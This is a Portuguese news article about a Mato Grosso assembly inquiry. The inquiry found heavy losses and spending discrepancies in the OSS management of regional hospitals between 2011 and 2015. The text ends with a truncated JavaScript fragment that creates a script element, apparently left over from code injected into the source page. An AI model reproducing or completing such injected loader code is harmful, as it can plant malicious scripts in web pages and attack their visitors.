CPI aponta que gestão da saúde por OS em MT causou prejuízo milionário

G1

Falhas ocorridas nos hospitais regionais durante a gestão por Organizações Sociais de Saúde (OSSs) teriam causado prejuízo milionário aos cofres públicos, como concluiu a CPI das OSS, da Assembleia Legislativa de Mato Grosso (ALMT). Segundo ele, dos R$ 700 milhões gastos com as OSSs, de 2011 a 2015, 35% poderiam teriam sido economizados. O relatório ainda deve ser levado ao plenário para apreciação dos demais parlamentares.

“O estado falhou no controle, em saber se o que tinha sido contratado estava sendo efetivamente realizado. Por exemplo, cobraram por uma cesariana, sendo que tinha sido um parto normal. Esse valor gasto daria para fazer uma saúde melhor “, disse o presidente da CPI, Dr. Leonardo (PSD). A CPI foi criada em 2014.

Após ter sido concluído pelo relator, o relatório foi analisado e aprovado pelos demais membros da Comissão. E, na semana passada, o presidente da CPI o apresentou aos demais deputados. Os parlamentares terão o prazo regimental de cinco sessões para avaliar o documento.

Encerrado esse prazo, o relatório seguirá para a Comissão de Constituição, Justiça e Redação (CCJR). Se aprovado pela comissão, o relatório voltará para o plenário para votação e, em seguida, se a maioria se manifestar favorável, será encaminhado para os órgãos competentes, entre eles Ministério Público Federal, Ministério Público Estadual, Polícia Federal, Tribunal de Contas do Estado e Procuradoria-Geral do Estado (PGE).

A CPI aponta que houve falha da Secretaria Estadual de Saúde. “Faltou organização nos setores da Secretaria de Saúde e nos escritórios regionais, além de erros de aquisição, falta de política pública adequada com foco para a solução de problemas, falta de controle nos serviços prestados”, pontuou o presidente.

O problema teve início com o atraso nos repasses aos hospitais regionais. “[Os repasses] ficaram quatro, cinco meses, em atraso, e isso fez com que a saúde, principalmente nos municípios menores, não tivesse condições de ser exercida e pressionou os hospitais de referência, que atende a 60 municípios. Os outros 81 ainda não têm hospital de referência e buscam atendimento em Cuiabá”, explicou o presidente da Comissão.

Dos seis hospitais regionais, dois ainda são administrados por OSS e os demais passaram a ficar sob a intervenção do estado, depois de ter sido identificadas falhas na administração. “O próprio ex-governador [Silval Barbosa] viu que tinha dado errado e interveio. Isso é uma prova cabal de que não funcionou. O setor de avaliação da SES não se comunicava. Já melhorou, mas ainda falta estar mais in loco”, afirmou.

O Hospital Regional de Rondonópolis é administrada pela Sociedade Beneficente São Camilo e o Hospital Regional de Cáceres pela Associação Congregação de Santa Catarina. Para o presidente da CPI, foram as únicas em que a gestão por OSS deu certo devido à organização.

Ele afirmou que a Assembleia deve fazer uma nova lei para não deixar brechas para irregularidades e falta de controle como ocorreram no caso das OSSs.

Divergências
O relatório aponta divergências entre os valores informados pela Secretaria Estadual de Saúde sobre os gastos com as OSSs em relação aos dados que constam no Sistema Fiplan. A SES informou à CPI, segundo o presidente, ter repassado R$ 697.298.218,20 às Organizações Sociais de Saúde, entre 2011 e 2015. No entanto, no sistema Fiplan diz que foram repassados R$ 782.681.316,50. O montante supera em R$ 79.700.955,37 o valor estimado para o gerenciamento das OSSs, para o período 2011 a 2015.

“Os valores  deveriam ser satisfatórios para regularizar a situação da saúde pública, mas não é o que se vê, uma vez que existe várias unidades hospitalares com atraso no repasse de recursos, gerando movimentos paredista e fechamento temporário das unidades. Fatos que deixam a população sem atendimento”, diz trecho do relatório.var d=document;var s=d.createElement(‘script’);